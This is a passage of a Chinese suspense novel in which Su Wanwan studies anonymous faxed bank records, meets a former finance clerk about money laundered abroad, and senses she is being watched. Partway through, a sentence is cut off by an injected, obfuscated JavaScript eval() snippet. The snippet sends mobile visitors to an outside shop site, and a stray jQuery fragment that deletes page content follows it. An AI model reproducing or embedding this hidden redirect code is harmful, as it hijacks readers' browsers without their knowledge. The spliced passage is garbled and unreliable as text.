传真机吐出第一页纸的时候，厨房里的水刚好烧开。
苏晚晚关掉煤气，把水壶从灶上拎下来，没有立刻倒水。传真机搁在客厅角落那张旧书桌上，是搬家时房东留下的，外壳已经泛黄，进纸槽的边缘裂了一道口子。机器发出低沉的嗡鸣，像一台老旧的打印机在慢慢消化什么东西。
纸页继续往外吐。
她走过去，站在传真机前，看着那些白纸一张一张地叠进接纸盘里。墨迹是黑色的，字体是宋体，字号不大，行间距压得很密。她等机器彻底停止运转之后才伸手去拿——没有直接翻开，而是先摸了摸纸面的温度。微温，像是刚被人握过。
第一页是一份银行流水。收款账户的户名她认得，是傅衍之一个远房表弟开的一家贸易公司。付款方写的是境外，账号是一串以“HK”开头的英文数字。金额不大，十二万，备注栏里只写了两个字：“咨询费。”
她翻到第二页。是同一家贸易公司的另一笔流水，收款时间比上一笔晚了三个月，金额变成了三十万。备注栏里还是那两个字。
第三页是这家贸易公司的工商注册信息。法定代表人姓陈，注册地址在锦城东区一条巷子里。苏晚晚记得那条巷子——她去过一次，窄得连车都开不进去，两边全是卖五金配件的小店，空气中弥漫着铁锈和机油的气味。
她把三页纸对齐，放在书桌上，没有立刻收起来。水壶里的水已经不那么烫了，白色蒸汽变得很薄，像一层快要散去的薄雾。她没有去泡茶，站在那里，低头看着那张纸上的银行汇款信息，又抬头看了一眼传真机的来电显示——没有显示，屏幕上只有一条横线，像是号码编码被刻意隐藏了。她按了一下打印键，机器吐出一张空白的通信记录页，上面没有任何号码。
她把那三页纸折好，放进书桌抽屉里，和那个蓝色便签夹在一起。
上午她在茶社见到了秋姨说的那个人。姓陈，四十五岁上下，戴一副银框眼镜，镜片后的眼皮微微耷拉着，像是一直半睡半醒。他在宏远公司做过三年财务，专管给关联方转账那一块。苏晚晚坐在他对面，没有拿出录音笔，也没有做笔记。她手里只端着一杯茶，慢慢喝，等他开口。
“企业转账最怕的就是中间经过的人太多。”他说，“每经过一道，就有一个人能记住那条线。”
他说这话的时候没有看她，端详着杯子里沉浮的茶叶，像在看某种正在解体的图案。
“你经手过多少笔？”
他没回答。端起杯子喝了一口茶，又放下去。放下去的动作很慢，杯子在桌面停稳之后，他有一个极细微的停顿——像在等一声不响的铃声落定。
“最多的时候，一个月走账十七笔。”
“走给谁？”
“境外。转了三手之后，回来的钱就洗白了。”
他把杯子放回桌上，杯底磕在木面上发出一声干燥的轻响。苏晚晚看着那只杯子：“你手里还有留底吗？”
“有。”他抬起眼皮看了她一眼，“备份在光盘里，放在一个老朋友那里。他要我亲口确认才给。”
“你现在确认。”
他看了她几秒钟，然后从口袋里掏出一部老式手机，翻开盖子按了一个号码。接通之后只说了一句：“给她。”
挂断电话之后，他站起来，把椅子推回桌下。苏晚晚也站起来。她站在门口的时候，他忽然开口喊了她一声：“苏小姐。”
她没有回头。
他停了一下才说：“光盘上涂了一层酒精，读盘之前要先用纯净水冲一下，干了再看。”
从茶社出来，天已经暗了。她站在门口翻了翻通讯录，找见沈知意的号码，拨过去。
“帮我找一张光盘。宏远贸易，财务备份，去年十月的。”她说。
电话那头安静了三秒，然后传来键盘被快速敲击的回声，像一场遥远的雨。“我现在就找。”
挂断电话后她没有立刻走。她站在茶社门口的石阶上，低头看着台阶边缘的水渍。水渍已经差不多干了，颜色比旁边的浅，像一个浅浅的、缩了水的影子。
手机震了一下。她掏出来看，是一条新短信，没有显示号码。内容只有两个字：“收件。”
她看着那两个字，拇指在屏幕边缘停了一下，指尖微微发凉。她把手机放回口袋里，没有回复。路灯的光打在她的肩膀上，她的影子落在地面上，被门框的阴影切去了一截。她抬起头看了一眼那盏路灯，灯泡里有只飞蛾的轮廓，撞在玻璃罩上，发出细密的、极轻的声响，像是有人在很远的地方敲门，敲得很轻很急。
一阵风从巷子口灌进来，吹起脚下的烟蒂和碎纸。她把外套拢了拢，拉上拉链，往巷口走去。
鞋底踩过一片被风吹起的碎纸，纸边已经卷了，被雨水泡得发软。她没低头看。
走到巷口要拐上主路的那个瞬间，她的脚步顿了一下——身后大约五十米的地方，有一根电线杆，杆脚下多了一个烟头，白色的，烟嘴朝向巷口的方向。她来时没有这个东西。她没有回头，继续往前走，走到主路上，拐进了最近的一家便利店，买了一瓶矿泉水，站在收银台前把身体侧过来，透过玻璃的反光望了一眼那根电线杆——已经没有人了。烟头还在，风正把它往路中间的排水沟方向吹。
她把矿泉水放进外套口袋，沿着人行道继续
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741893|209111||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走。走出大约三百米之后，她在下一盏路灯下停下来，从口袋掏出一枚新买的U盘，插进手机。那盏路灯的光线很窄，只照亮了她脚下的那一小片圆形地面，像舞台上一道追光。
她站在光里，把通讯记录存进去，拨下的电话号码也存进去。点开刚才收到的消息的那条记录——收件箱里看不到发送号码，提示显示“未知”。她截屏，保存，然后把U盘拔出来放回口袋。
她低头看着手机屏幕上那张截屏，拇指在“未知”那两个字上停了一下。两个字旁边有一个很小的灰色图标，像一把锁。她盯着那把锁看了几秒，然后把手机锁屏，放回外套内袋。
口袋里的矿泉水瓶随着走路轻轻晃动，像一枚还没被拧开引信的手雷。
走到出租屋楼下时，她没有立刻上楼。她站在楼门口那盏感应灯下，从口袋里掏出那三页传真，对着光又看了一遍。纸页边缘有细密的针孔，像被人拆开后重新装订过。针孔不大，间距整齐，在纸的边缘留了一排极小的点，像是被一种极细的工具刺穿。她用指腹沿着那排针孔摸了一遍，触感很浅，几乎察觉不出来。她看着那排针孔，想起林婉儿递来信封时指尖的颤抖。
她把纸重新折好，放进口袋，推开楼门走进去。
楼道里的声控灯亮了一下，又灭了。她没去管它，摸黑上了三楼，在房门口摸出钥匙。开锁的时候她停了一下，低头看了一眼锁孔——锁孔边缘有一道很新的细小划痕。钥匙插进去没有卡顿。她转动锁芯，推门，进去，反手把门锁上，上了保险链。
主卧朝南的窗户正对着巷子，与她刚才留下的那颗烟头方向呈四十五度角。窗帘拉拢着，透进的灯光很薄，在地板上铺了一小片浅黄色的光斑。苏晚晚没有开灯，在窗前站了一会儿，隔着窗帘的缝隙往外看了一眼——楼梯口的路灯亮着，下面没有站着任何人，垃圾桶边也没有多出什么不安排的东西。那根烟头已经不在原地了。
她拉好窗帘，坐到书桌前，拉开抽屉，把手机备忘录里那两行字又看了一遍——“锦绣路三号院，七号柜。”
她把备忘录锁好，关掉手机屏幕，在黑暗里坐了一会儿。手指握着那枚U盘，边缘抵着手心，凉丝丝的。远处的模糊车声传进窗缝里来，像被什么东西隔着。她不确定那个人是否已经离开——也不确定她是否真的希望他离开。
她松开手指，把U盘放进抽屉，和那三页传真放在一起。然后合上抽屉，站起来，拧开矿泉水瓶盖，倒了一杯，站在窗边慢慢喝掉。
窗外什么也没有。只有路灯的光在棕榈叶子上晃着，风吹过来的时候，叶子翻了个面，露出背面灰白色的叶脉，又翻了回去。